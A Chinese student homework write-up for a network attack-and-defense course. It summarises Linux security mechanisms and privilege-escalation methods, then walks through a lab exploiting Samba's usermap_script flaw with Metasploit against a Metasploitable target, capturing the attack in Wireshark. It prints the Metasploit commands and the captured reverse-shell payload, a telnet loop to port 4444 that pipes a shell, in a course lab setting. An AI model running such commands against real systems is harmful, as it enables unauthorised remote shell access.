《网络攻防实践》第8周作业
总体结构
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635 |
我在这个课程的目标是 | 学习网络攻防知识,增强动手实践能力。 |
这个作业在哪个具体方面帮助我实现目标 | 学习Linux网络防御知识。 |
作业正文 | 见下 |
参考文献 | [1].网络攻防实践-诸葛建伟 |
1.实践内容
1.1 Linux系统的基本概述
特点:跨平台的硬件支持、丰富的软件支持、多用多任务、可靠的安全性、良好的稳定性、完善的网络功能。
Linux系统结构:
Linux进程和线程管理机制:Linux内核采用抢占式多用户多进程模式,多个进程并发活动,有内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制款(PCB)结构,有内核schedule进程调度函数来一句进程优先级和CPU等资源情况来选择进程进行执行。
Linux的内存管理机制:Linux内存管理模块运行多个进程安全地共享物理内存区域。
Linux的文件系统管理机制:Linux内核使用虚拟文件管理(VFS)机制,从而是的她能自持数十种不同类型的逻辑文件系统。
Linux的设备控制机制:Linux核心的设备驱动程序本质上是特权的、驻留内存的低级的硬件控制例程的共享库。Linux的一个基本特点是抽象了设备的处理所有的硬件设备都像常规文件一样看待。
Linux的网络机制:Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持
Linux的系统调用机制:Linux内核通过上述五个方面的机制实现了操作系统基本的硬件管理和系统功能,这些内核模块都运行在CPU的核心态,而应用程序则运行在用户态,他们不能直接访问内核的内存空间,也不能直接调用内核函数。
1.2 Linux操作系统的安全机制
1.2.1 Linux身份认证机制
用户:Linux可以创建多个拥有不同权限的用户。
用户的类型:
- root根用户:拥有至高无上权限的用户,因此很受攻击者青睐;
- 普通用户:由使用者创建并使用的用户,只能操作自己目录中的内容,权限受限;
- 系统用户:没有登陆的能力,用于启动网络服务的daemon、apache用户,以及匿名访问的ftp,nobody用户。
用户远程登录认证:Linux可以使用SSH服务来进行远程登陆。登陆方式有:基于口令的身份认证、公钥身份认证。linux提供了PAM(可插入身份认证模块)灵活标准的验证方法。
linux授权与访问控制
文件所有者:linux把所有的东西都看成文件。每个linux文件都有其所有者。可以通过chown命令来改变文件的所有者。访问权限:linux文件的详细描述可以看出10个标志位。第一个标志位代表文件的类型,之后9个标志位3个为一组。例如第一组为rwx,意思是所有者用拥有读(r)写(w)执行(x)的权限。第二组第三组分别为同组内其他用户的权限,其他用户的权限。如果没有权限,用-表示。如r--,意思是只有读的权限。
执行权限:常见的是SUID和SGID权限。SUID是当执行者在执行权限的时候,会将自己的权限提升到所有者的权限。如果说一个文件设置了SUID位,而这个文件的所有者是root,那某个用户在执行这个文件的时候,就有了root文件权限。SGID与SUID功能类似,设置了SGID位的程序以所有组权限执行时、该程序就可以任意读取整个用户组所能够使用的资源
1.2 linux安全审计机制
linux的安全审计机制主要通过三个日志来实现。
连接时间日志:用户登录时,多程序执行,记录谁在何时登陆。系统管理员通过查看/var/log/wtmp和/var/run/utmp文件。
进程统计日志:当一个进程终止的时候,会在进程统计文件中写一个记录。
错误日志记录:记录下来值得注意的事件。
1.3 Linux系统远程攻防技术
从远程网络入侵Linux系统
- 网站服务(php、mysql的漏洞)
- Linux系统网络服务的远程攻击
- 电子邮件漏洞
- ftp等其他文件共享
1.4 Linux系统本地安全攻防技术
Linux本地特权提升
本地特权提升的三种常用方式
- 破解Root用户的口令然后执行su或sudo命令进行提权,通过文件任意读写漏洞获取etc/shadow。通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。
- 发掘su和sudo程序中的安全漏洞通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限。
- 攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函数库攻击等。
2.实践过程
2.1.使用metasploit渗透测试软件,攻击linux靶机上的samba服务usermap_script安全漏洞,获取目标linux靶机的主机访问权限。实践步骤如下:
1、启动metasploit软件,可根据个人喜好使用msfonsole、msfgui、msfweb之一;
2、使用exploit: exploit/multi/damba/usermap_script渗透攻击模块;
3、选择攻击PAYLOAD为远程shell(正向或者反向连接均可);
4、选择渗透攻击参数(RHOST,LHOST,TARGET等)
5、执行渗透攻击
6、查看是否正确得到远程shell,并查看获得的权限。
search usermap
use 0
set rhost 192.168.200.10
set lhost 192.168.200.8
show options
攻击并查看权限,看到自己是root用户
exloit
ls
whoami
2.2 实践作业:攻防对抗实验
攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流
攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息
仍然使用上面的攻击方法
攻击时间是4月20日下午2点14
发现被攻击的端口是139端口
执行指令为whoami
shellcode为
`nohup sh -c '(sleep 3795|telnet 192.168.200.8 4444|while : ; do sh && break; done 2>&1|telnet 192.168.200.8 4444 >/dev/null 2>&1 &
sh是linux中运行shell的命令
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行。
漏洞解决方法:
升级Samba
3.学习中遇到的问题及解决
暂未有
4.实践总结
第二个实验用的也是第一个实验的